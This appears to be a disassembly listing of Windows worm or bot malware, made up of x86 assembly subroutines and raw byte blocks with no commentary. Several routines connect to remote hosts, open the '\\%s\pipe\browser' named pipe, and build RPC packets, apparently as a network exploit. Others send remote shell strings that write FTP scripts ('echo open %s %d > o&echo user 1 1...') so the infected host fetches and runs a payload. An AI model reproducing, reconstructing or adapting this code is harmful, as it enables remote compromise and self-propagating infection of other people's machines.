push esi
mov esi, ecx
jz short loc_404693
mov eax, [esi+4]
test eax, eax
jz short loc_404693
lea ecx, [eax-1]
mov al, [eax-1]
test al, al
jz short loc_40468C
cmp al, 0FFh
jz short loc_40468C
dec al
mov [ecx], al
jmp short loc_404693
; ---------------------------------------------------------------------------
loc_40468C: ; CODE XREF: sub_404667+19j
; sub_404667+1Dj
push ecx
call sub_4182AF
pop ecx
loc_404693: ; CODE XREF: sub_404667+8j
; sub_404667+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_404667 endp
; =============== S U B R O U T I N E =======================================
sub_4046A3 proc near ; CODE XREF: ___:004043C3p
; sub_4047FC+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
mov esi, ecx
push edi
call sub_4045E2
test al, al
jz short loc_4046D1
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_417390
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_4046D1: ; CODE XREF: sub_4046A3+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_4046A3 endp
; =============== S U B R O U T I N E =======================================
sub_4046D8 proc near ; CODE XREF: sub_404514+39p
; sub_404514+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_4046EB
call sub_422863
loc_4046EB: ; CODE XREF: sub_4046D8+Cj
mov ecx, edi
call sub_4047FC
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_404701
mov ebx, eax
loc_404701: ; CODE XREF: sub_4046D8+25j
test ebx, ebx
jbe short loc_404737
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_4182C0
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_4045E2
test al, al
jz short loc_404737
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_404737: ; CODE XREF: sub_4046D8+2Bj
; sub_4046D8+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_4046D8 endp
; =============== S U B R O U T I N E =======================================
sub_40473F proc near ; CODE XREF: sub_4045E2+79p
mov eax, offset loc_423110
call sub_418290
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_404765
mov edi, [ebp+8]
loc_404765: ; CODE XREF: sub_40473F+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_404772
xor eax, eax
loc_404772: ; CODE XREF: sub_40473F+2Fj
push eax
call sub_4185F5
pop ecx
mov [ebp+8], eax
jmp short loc_4047A3
; ---------------------------------------------------------------------------
loc_40477E: ; DATA XREF: ___:00424F9Co
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_40478D
xor eax, eax
loc_40478D: ; CODE XREF: sub_40473F+4Aj
push eax
call sub_4185F5
mov [ebp+8], eax
pop ecx
mov eax, offset loc_40479D
retn
; ---------------------------------------------------------------------------
loc_40479D: ; DATA XREF: sub_40473F+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_4047A3: ; CODE XREF: sub_40473F+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_4047C1
cmp eax, edi
jbe short loc_4047B0
mov eax, edi
loc_4047B0: ; CODE XREF: sub_40473F+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_417390
add esp, 0Ch
loc_4047C1: ; CODE XREF: sub_40473F+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_404667
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_4047E1
mov edi, ebx
loc_4047E1: ; CODE XREF: sub_40473F+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [eax+edi], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40473F endp
; =============== S U B R O U T I N E =======================================
sub_4047FC proc near ; CODE XREF: sub_4046D8+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_404829
mov al, [esi-1]
test al, al
jz short loc_404829
cmp al, 0FFh
jz short loc_404829
push 1
call sub_404667
push esi
call sub_417AB0
pop ecx
push eax
push esi
mov ecx, edi
call sub_4046A3
loc_404829: ; CODE XREF: sub_4047FC+9j
; sub_4047FC+10j ...
pop edi
pop esi
retn
sub_4047FC endp
; =============== S U B R O U T I N E =======================================
sub_40482C proc near ; DATA XREF: ___:00426008o
test byte_4CDCAC, 1
jnz short loc_40483C
or byte_4CDCAC, 1
loc_40483C: ; CODE XREF: sub_40482C+7j
jmp $+5
push offset nullsub_1
call sub_418670
pop ecx
retn
sub_40482C endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40484E proc near ; DATA XREF: ___:0042600Co
jmp $+5
sub_40484E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_404853 proc near
mov eax, dword_428BE0
add eax, 6
mov dword_436EF8, eax
retn
sub_404853 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404861 proc near ; CODE XREF: sub_404861+D0p
; ___:00404DC0p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_404875
or [ebp+arg_7], 1
jmp short loc_404879
; ---------------------------------------------------------------------------
loc_404875: ; CODE XREF: sub_404861+Cj
and [ebp+arg_7], 0FEh
loc_404879: ; CODE XREF: sub_404861+12j
mov ecx, [ebp+arg_24]
mov ebx, [ebp+arg_20]
movzx eax, cx
lea edx, [ebx+18h]
cmp edx, eax
ja short loc_40489D
or [ebp+arg_7], 2
and [ebp+arg_2B], 0
lea eax, [ebx+18h]
mov [ebp+arg_14], ebx
mov [ebp+arg_C], ax
jmp short loc_4048AF
; ---------------------------------------------------------------------------
loc_40489D: ; CODE XREF: sub_404861+26j
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_C], cx
mov [ebp+arg_14], eax
mov [ebp+arg_2B], 1
loc_4048AF: ; CODE XREF: sub_404861+3Aj
movzx eax, [ebp+arg_C]
push eax
mov [ebp+var_4], eax
call sub_417B89
test eax, eax
pop ecx
mov [ebp+arg_20], eax
jz loc_404948
push 6
lea esi, [ebp+arg_4]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+arg_14]
mov esi, [ebp+arg_1C]
push edi
add eax, 18h
push esi
push eax
call sub_417390
add esp, 0Ch
lea eax, [ebp+var_8]
push 0
push eax
push [ebp+var_4]
push [ebp+arg_20]
push [ebp+arg_0]
call near ptr 2650000h
nop
test eax, eax
jz short loc_40493F
mov eax, [ebp+var_4]
cmp [ebp+var_8], eax
jnz short loc_40493F
push [ebp+arg_20]
call sub_417C3B
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_40493B
push 0
sub ebx, edi
push [ebp+arg_24]
add edi, esi
lea esi, [ebp+arg_4]
push ebx
push edi
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0]
rep movsd
call sub_404861
add esp, 2Ch
jmp short loc_40494A
; ---------------------------------------------------------------------------
loc_40493B: ; CODE XREF: sub_404861+B3j
mov al, 1
jmp short loc_40494A
; ---------------------------------------------------------------------------
loc_40493F: ; CODE XREF: sub_404861+9Cj
; sub_404861+A4j
push [ebp+arg_20]
call sub_417C3B
pop ecx
loc_404948: ; CODE XREF: sub_404861+61j
xor al, al
loc_40494A: ; CODE XREF: sub_404861+D8j
; sub_404861+DCj
pop edi
pop esi
pop ebx
leave
retn
sub_404861 endp
; ---------------------------------------------------------------------------
db 55h ; U
db 8Bh ; ‹
db 0ECh ; ì
db 0B8h ; ¸
db 0DCh ; Ü
db 60h ; `
db 0
db 0
db 0E8h ; è
db 0D4h ; Ô
db 31h ; 1
db 1
db 0
db 53h ; S
db 56h ; V
db 57h ; W
db 68h ; h
db 5Ch ; \
db 8Ch ; Œ
db 42h ; B
db 0
db 0FFh
db 75h ; u
db 8
db 0E8h ; è
db 24h ; $
db 3Eh ; >
db 1
db 0
db 59h ; Y
db 33h ; 3
db 0DBh ; Û
db 85h ; …
db 0C0h ; À
db 59h ; Y
db 74h ; t
db 4Eh ; N
db 0FFh
db 75h ; u
db 8
db 0BEh ; ¾
db 0
db 20h
db 0
db 0
db 8Dh ;
db 85h ; …
db 24h ; $
db 0DFh ; ß
db 0FFh
db 0FFh
db 68h ; h
db 28h ; (
db 86h ; †
db 42h ; B
db 0
db 56h ; V
db 50h ; P
db 0E8h ; è
db 9Ch ; œ
db 2Eh ; .
db 1
db 0
db 6Ah ; j
db 20h
db 8Dh ;
db 85h ; …
db 24h ; $
db 0FFh
db 0FFh
db 0FFh
db 53h ; S
db 50h ; P
db 0E8h ; è
db 93h ; “
db 29h ; )
db 1
db 0
db 8Dh ;
db 85h ; …
db 24h ; $
db 0DFh ; ß
db 0FFh
db 0FFh
db 83h ; ƒ
db 0C4h ; Ä
db 1Ch
db 89h ; ‰
db 85h ; …
db 38h ; 8
db 0FFh
db 0FFh
db 0FFh
db 0B8h ; ¸
db 0DCh ; Ü
db 6Eh ; n
db 43h ; C
db 0
db 53h ; S
db 50h ; P
db 50h ; P
db 8Dh ;
db 85h ; …
db 24h ; $
db 0FFh
db 0FFh
db 0FFh
db 50h ; P
db 0E8h ; è
db 80h ; €
db 0E0h ; à
db 1
db 0
; ---------------------------------------------------------------------------
jmp short loc_4049C7
; ---------------------------------------------------------------------------
db 0BEh ; ¾
db 0
db 20h
db 0
db 0
; ---------------------------------------------------------------------------
loc_4049C7: ; CODE XREF: ___:004049C0j
push dword ptr [ebp+8]
lea eax, [ebp-40DCh]
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
push esi
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp-40DCh]
push ebx
push 40000000h
push 3
push ebx
push 3
push 0C0000000h
push eax
call near ptr 2660829h
nop
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short loc_404A0B
loc_404A04: ; CODE XREF: ___:00404AE3j
; ___:00404CB9j ...
xor al, al
jmp loc_404E4F
; ---------------------------------------------------------------------------
loc_404A0B: ; CODE XREF: ___:00404A02j
push 48h
lea eax, [ebp-0B8h]
push ebx
push eax
call sub_417330
push 10h
mov byte ptr [ebp-0B8h], 5
pop eax
mov [ebp-0B7h], bl
push 1
mov [ebp-0B4h], eax
pop edi
mov byte ptr [ebp-0B6h], 0Bh
push eax
lea eax, [ebp-98h]
push offset dword_428C34
push eax
mov byte ptr [ebp-0B5h], 3
mov word ptr [ebp-0B0h], 48h
mov [ebp-0AEh], bx
mov [ebp-0ACh], ebx
mov word ptr [ebp-0A8h], 10B8h
mov word ptr [ebp-0A6h], 10B8h
mov [ebp-0A4h], ebx
mov [ebp-0A0h], edi
mov [ebp-9Ch], bx
mov byte ptr [ebp-9Ah], 1
call sub_417390
push 10h
lea eax, [ebp-84h]
push offset dword_428C20
push eax
mov dword ptr [ebp-88h], 3
call sub_417390
add esp, 24h
lea eax, [ebp-0BCh]
mov dword ptr [ebp-74h], 2
push ebx
push eax
lea eax, [ebp-0B8h]
push 48h
push eax
push dword ptr [ebp-4]
call near ptr 2650000h
nop
test eax, eax
jnz short loc_404AE8
loc_404ADA: ; CODE XREF: ___:00404BB4j
push dword ptr [ebp-4]
nop
call near ptr 26408F3h
jmp loc_404A04
; ---------------------------------------------------------------------------
loc_404AE8: ; CODE XREF: ___:00404AD8j
lea eax, [ebp-14h]
push ebx
push eax
lea eax, [ebp-60DCh]
push esi
push eax
push dword ptr [ebp-4]
nop
call near ptr 2640000h
push ebx
call sub_4186B1
push eax
call sub_417302
push 14h
lea eax, [ebp-70h]
push 41h
push eax
call sub_417330
push 1Ch
lea eax, [ebp-30h]
push 41h
push eax
call sub_417330
add esp, 20h
call sub_41730C
mov esi, [ebp+0Ch]
mov [ebp-70h], eax
mov [ebp-64h], edi
mov [ebp-68h], ebx
lea esi, [esi+esi*4]
mov [ebp-6Ch], edi
shl esi, 2
mov [ebp-60h], bx
cmp byte_428BC8[esi], bl
jz short loc_404B5F
push 4
mov [ebp-24h], edi
mov [ebp-28h], ebx
mov [ebp-2Ch], edi
push offset dword_436F00
jmp short loc_404B72
; ---------------------------------------------------------------------------
loc_404B5F: ; CODE XREF: ___:00404B4Bj
push 2
mov [ebp-28h], ebx
pop eax
push 4
mov [ebp-24h], eax
mov [ebp-2Ch], eax
push (offset loc_428C17+1)
loc_404B72: ; CODE XREF: ___:00404B5Dj
lea eax, [ebp-20h]
push eax
call sub_417390
add esp, 0Ch
call sub_41730C
mov edi, 0FAh
cdq
mov ecx, edi
idiv ecx
inc edx
mov [ebp-30h], edx
call sub_41730C
cdq
idiv edi
mov eax, dword_428BBC[esi]
mov [ebp-18h], ebx
push eax
mov [ebp+8], eax
inc edx
mov [ebp-1Ch], edx
call sub_417B89
mov edi, eax
pop ecx
cmp edi, ebx
jz loc_404ADA
mov eax, [ebp+8]
add eax, 0FFFFFFFEh
push eax
push 90h
push edi
call sub_417330
mov eax, [ebp+8]
push 2
push ebx
lea eax, [edi+eax-2]
push eax
call sub_417330
mov eax, dword_428BC4[esi]
push 7
add eax, edi
push offset dword_428BB0
push eax
mov [ebp+0Ch], eax
call sub_417390
mov eax, [ebp+0Ch]
push 15Ch
add eax, 7
push offset dword_428A50
push eax
call sub_417390
mov eax, dword_428BC0[esi]
add esp, 30h
cmp byte_428BC8[esi], bl
mov [ebp+0Ch], eax
jz short loc_404C6B
push 4
add eax, edi
push offset dword_436EF8
push eax
call sub_417390
add dword ptr [ebp+0Ch], 0Ch
mov esi, offset dword_428BE0
mov eax, [ebp+0Ch]
push 4
add eax, edi
push esi
push eax
call sub_417390
mov eax, [ebp+0Ch]
push 4
push esi
lea eax, [eax+edi+24h]
push eax
mov [ebp+0Ch], eax
call sub_417390
mov eax, [ebp+0Ch]
push 4
add eax, 0Ch
push esi
push eax
call sub_417390
add esp, 30h
jmp short loc_404C93
; ---------------------------------------------------------------------------
loc_404C6B: ; CODE XREF: ___:00404C1Cj
add eax, edi
mov dword ptr [ebp-8], 10h
mov [ebp+0Ch], eax
mov esi, offset dword_428BE0
loc_404C7C: ; CODE XREF: ___:00404C91j
push 4
push esi
push dword ptr [ebp+0Ch]
call sub_417390
add dword ptr [ebp+0Ch], 4
add esp, 0Ch
dec dword ptr [ebp-8]
jnz short loc_404C7C
loc_404C93: ; CODE XREF: ___:00404C69j
mov eax, [ebp+8]
add eax, 42h
push eax
call sub_417B89
mov esi, eax
pop ecx
cmp esi, ebx
mov [ebp-8], esi
jnz short loc_404CBE
push dword ptr [ebp-4]
call near ptr 26408F3h
nop
push edi
call sub_417C3B
pop ecx
jmp loc_404A04
; ---------------------------------------------------------------------------
loc_404CBE: ; CODE XREF: ___:00404CA7j
mov eax, [ebp+8]
add eax, 42h
push eax
push ebx
push esi
call sub_417330
lea eax, [ebp-70h]
push 14h
push eax
push esi
call sub_417390
mov eax, [ebp+8]
mov [ebp-0Ch], ebx
mov [ebp-10h], eax
add esp, 10h
fild qword ptr [ebp-10h]
fmul flt_424294
fstp qword ptr [esp]
call sub_417DEB
call sub_417DC4
push dword ptr [ebp+8]
mov [esi+1Ch], eax
mov [esi+18h], ebx
mov eax, [esi+1Ch]
mov [esi+14h], eax
lea eax, [esi+20h]
push edi
push eax
call sub_417390
mov eax, [ebp+8]
add esp, 14h
add eax, 20h
test al, 3
mov [ebp+0Ch], eax
jz short loc_404D2B
loc_404D23: ; CODE XREF: ___:00404D26j
inc eax
test al, 3
jnz short loc_404D23
mov [ebp+0Ch], eax
loc_404D2B: ; CODE XREF: ___:00404D21j
lea ecx, [ebp-30h]
push 1Ch
add eax, esi
push ecx
push eax
call sub_417390
add dword ptr [ebp+0Ch], 1Ch
push edi
call sub_417C3B
push 18h
lea eax, [ebp-48h]
push ebx
push eax
call sub_417330
push 14h
lea eax, [ebp-5Ch]
push ebx
push eax
mov byte ptr [ebp-48h], 5
mov [ebp-47h], bl
mov [ebp-46h], bl
mov byte ptr [ebp-45h], 3
mov dword ptr [ebp-44h], 10h
mov [ebp-3Eh], bx
mov [ebp-3Ch], ebx
mov [ebp-34h], bx
mov word ptr [ebp-32h], 1Fh
call sub_417330
add esp, 28h
push ebx
push ebx
push 1
push ebx
nop
call near ptr 2660B30h
mov [ebp-4Ch], eax
mov [ebp+0Bh], bl
mov [ebp-0Ch], ebx
loc_404D98: ; CODE XREF: ___:00404E22j
cmp dword ptr [ebp-0Ch], 2
jge loc_404E2D
push 1
push 10B8h
push dword ptr [ebp+0Ch]
inc dword ptr [ebp-0Ch]
push esi
lea esi, [ebp-48h]
sub esp, 18h
push 6
pop ecx
mov edi, esp
push dword ptr [ebp-4]
rep movsd
call sub_404861
add esp, 2Ch
test al, al
jz short loc_404E2A
cmp [ebp-4Ch], ebx
jz short loc_404E1C
lea eax, [ebp-5Ch]
push eax
lea eax, [ebp-14h]
push eax
lea eax, [ebp-60DCh]
push 2000h
push eax
push dword ptr [ebp-4]
call near ptr 2640000h
nop
test eax, eax
jnz short loc_404E03
nop
call near ptr 2660B07h
cmp eax, 3E5h
jnz loc_404A04
loc_404E03: ; CODE XREF: ___:00404DF0j
push 3E8h
push dword ptr [ebp-4Ch]
call near ptr 2660A8Fh
nop
cmp eax, 102h
jnz short loc_404E1C
mov byte ptr [ebp+0Bh], 1
loc_404E1C: ; CODE XREF: ___:00404DCFj
; ___:00404E16j
cmp [ebp+0Bh], bl
mov esi, [ebp-8]
jz loc_404D98
jmp short loc_404E2D
; ---------------------------------------------------------------------------
loc_404E2A: ; CODE XREF: ___:00404DCAj
mov esi, [ebp-8]
loc_404E2D: ; CODE XREF: ___:00404D9Cj
; ___:00404E28j
push dword ptr [ebp-4]
mov edi, dword_424078
call edi
push esi
call sub_417C3B
cmp [ebp-4Ch], ebx
pop ecx
jz short loc_404E49
push dword ptr [ebp-4Ch]
call edi
loc_404E49: ; CODE XREF: ___:00404E42j
cmp [ebp+0Bh], bl
setnz al
loc_404E4F: ; CODE XREF: ___:00404A06j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
db 55h ; U
db 8Bh ; ‹
db 0ECh ; ì
db 81h ;
db 0ECh ; ì
db 0A0h ;
db 5
db 0
db 0
db 53h ; S
db 56h ; V
db 57h ; W
db 33h ; 3
db 0F6h ; ö
db 6Ah ; j
db 10h
db 8Dh ;
db 45h ; E
db 0F0h ; ð
db 56h ; V
db 50h ; P
db 0E8h ; è
db 0C2h ; Â
db 24h ; $
db 1
db 0
db 83h ; ƒ
db 0C4h ; Ä
db 0Ch
db 8Dh ;
db 45h ; E
db 0Ch
db 66h ; f
db 0C7h ; Ç
db 45h ; E
db 0F0h ; ð
db 2
db 0
db 50h ; P
db 90h ;
db 0E8h ; è
db 77h ; w
db 0C4h ; Ä
db 6Ah ; j
db 71h ; q
db 0FFh
db 0B5h ; µ
db 0C4h ; Ä
db 0
db 0
db 0
db 89h ; ‰
db 45h ; E
db 0F4h ; ô
db 90h ;
db 0E8h ; è
db 0B6h ; ¶
db 0C8h ; È
db 6Ah ; j
db 71h ; q
db 56h ; V
db 6Ah ; j
db 1
db 6Ah ; j
db 2
db 66h ; f
db 89h ; ‰
db 45h ; E
db 0F2h ; ò
db 90h ;
db 0E8h ; è
db 83h ; ƒ
db 0EDh ; í
db 6Ah ; j
db 71h ; q
db 8Bh ; ‹
db 0D8h ; Ø
db 83h ; ƒ
db 0FBh ; û
db 0FFh
db 74h ; t
db 7Ch ; |
db 8Dh ;
db 45h ; E
db 0F0h ; ð
db 6Ah ; j
db 10h
db 50h ; P
db 53h ; S
db 90h ;
db 0E8h ; è
db 0AAh ; ª
db 0EFh ; ï
db 6Ah ; j
db 71h ; q
db 83h ; ƒ
db 0F8h ; ø
db 0FFh
db 74h ; t
db 6Ah ; j
db 0BFh ; ¿
db 0
db 4
db 0
db 0
db 56h ; V
db 8Bh ; ‹
db 35h ; 5
db 4
db 42h ; B
db 42h ; B
db 0
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FAh ; ú
db 0FFh
db 0FFh
db 57h ; W
db 50h ; P
db 53h ; S
db 0FFh
db 0D6h ; Ö
db 0B8h ; ¸
db 74h ; t
db 0F6h ; ö
db 42h ; B
db 0
db 50h ; P
db 50h ; P
db 0FFh
db 35h ; 5
db 0Ch
db 6Fh ; o
db 43h ; C
db 0
db 0FFh
db 75h ; u
db 8
db 0E8h ; è
db 0FCh ; ü
db 5Fh ; _
db 0
db 0
db 59h ; Y
db 50h ; P
db 68h ; h
db 0DCh ; Ü
db 89h ; ‰
db 42h ; B
db 0
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FEh ; þ
db 0FFh
db 0FFh
db 68h ; h
db 90h ;
db 1
db 0
db 0
db 50h ; P
db 0E8h ; è
db 2Eh ; .
db 29h ; )
db 1
db 0
db 83h ; ƒ
db 0C4h ; Ä
db 1Ch
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FEh ; þ
db 0FFh
db 0FFh
db 6Ah ; j
db 0
db 50h ; P
db 0E8h ; è
db 0A3h ; £
db 2Bh ; +
db 1
db 0
db 59h ; Y
db 50h ; P
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FEh ; þ
db 0FFh
db 0FFh
db 50h ; P
db 53h ; S
db 90h ;
db 0E8h ; è
db 0D7h ; ×
db 0CBh ; Ë
db 6Ah ; j
db 71h ; q
db 83h ; ƒ
db 0F8h ; ø
db 0FFh
db 75h ; u
db 4
db 33h ; 3
db 0C0h ; À
db 0EBh ; ë
db 17h
db 6Ah ; j
db 0
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FAh ; ú
db 0FFh
db 0FFh
db 57h ; W
db 50h ; P
db 53h ; S
db 0FFh
db 0D6h ; Ö
db 53h ; S
db 90h ;
db 0E8h ; è
db 33h ; 3
db 0CBh ; Ë
db 6Ah ; j
db 71h ; q
db 6Ah ; j
db 1
db 58h ; X
db 5Fh ; _
db 5Eh ; ^
db 5Bh ; [
db 0C9h ; É
db 0C3h ; Ã
dw 5653h
dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h
dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh
dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851B75h, 0D0680B75h
dd 0E8000007h, 220BF00h, 0FB834390h, 33B87202h, 5B5E5FC0h
dd 58016AC3h
db 0EBh, 0F7h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404F9A proc near ; CODE XREF: ___:00405119p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
nop
call near ptr 71AB12F8h
push [ebp+arg_BC]
mov [ebp+var_C], eax
nop
call near ptr 71AB1746h
push esi
push 1
push 2
mov [ebp+var_E], ax
call near ptr 71AB3C22h
nop
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_405068
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jz short loc_405068
mov edi, 400h
push esi
mov esi, dword_424204
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset byte_42F674
push eax
push eax
push dword_436F0C
push [ebp+arg_0]
call sub_40AEE0
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41782A
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call near ptr 71AB1AF4h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_40506C
loc_405068: ; CODE XREF: sub_404F9A+50j
; sub_404F9A+62j
xor eax, eax
jmp short loc_405083
; ---------------------------------------------------------------------------
loc_40506C: ; CODE XREF: sub_404F9A+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
nop
call near ptr 71AB1A6Dh
push 1
pop eax
loc_405083: ; CODE XREF: sub_404F9A+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_404F9A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+0Ch]
push edi
push eax
mov word ptr [ebp-10h], 2
call dword_43ADD8
push dword ptr [ebp+0A8h]
mov [ebp-0Ch], eax
call dword_43AD98
push 6
push 1
push 2
mov [ebp-0Eh], ax
nop
call near ptr 71AB3C22h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4050FA
lea eax, [ebp-10h]
push 10h
push eax
push esi
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jnz short loc_4050DB
push esi
jmp short loc_4050F4
; ---------------------------------------------------------------------------
loc_4050DB: ; CODE XREF: ___:004050D6j
push 0
push 1213h
push offset dword_428C60
push esi
nop
call near ptr 71AB1AF4h
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_4050FE
loc_4050F4: ; CODE XREF: ___:004050D9j
nop
call near ptr 71AB1A6Dh
loc_4050FA: ; CODE XREF: ___:004050C4j
xor eax, eax
jmp short loc_405140
; ---------------------------------------------------------------------------
loc_4050FE: ; CODE XREF: ___:004050F2j
nop
call near ptr 71AB1A6Dh
push 216Bh
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_404F9A
add esp, 0C0h
test eax, eax
jz short loc_40513D
mov eax, [ebp+0B0h]
imul eax, 3Ch
inc dword_42ACB8[eax]
lea eax, dword_42ACB8[eax]
loc_40513D: ; CODE XREF: ___:00405126j
push 1
pop eax
loc_405140: ; CODE XREF: ___:004050FCj
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405144 proc near ; CODE XREF: ___:00405340p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_43ADD8
mov [ebp+var_C], eax
mov ax, word_42A040
push eax
call dword_43AD98
push edi
push 1
push 2
mov [ebp+var_E], ax
call dword_43AE18
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_40525B
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_43AD40
cmp eax, 0FFFFFFFFh
jz loc_40525B
mov ebx, 400h
push edi
lea eax, [ebp+var_5A0]
push ebx
push eax
push esi
call dword_43ADB0
push dword_436F0C
push [ebp+arg_0]
call sub_40AEE0
pop ecx
mov edi, 190h
push eax
push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41782A
add esp, 14h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push esi
call dword_43ADE8
cmp eax, 0FFFFFFFFh
jz short loc_40525B
push 1F4h
nop
call near ptr 2610E88h
push offset byte_42F674
push offset dword_428598
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push esi
call dword_43ADE8
cmp eax, 0FFFFFFFFh
jnz short loc_40525F
loc_40525B: ; CODE XREF: sub_405144+51j
; sub_405144+67j ...
xor al, al
jmp short loc_405279
; ---------------------------------------------------------------------------
loc_40525F: ; CODE XREF: sub_405144+115j
push 0
lea eax, [ebp+var_5A0]
push ebx
push eax
push esi
call dword_43ADB0
push esi
call dword_43AE30
mov al, 1
loc_405279: ; CODE XREF: sub_405144+119j
pop edi
pop esi
pop ebx
leave
retn
sub_405144 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
lea eax, [ebp+0Ch]
push edi
push eax
call near ptr 71AB2BBFh
nop
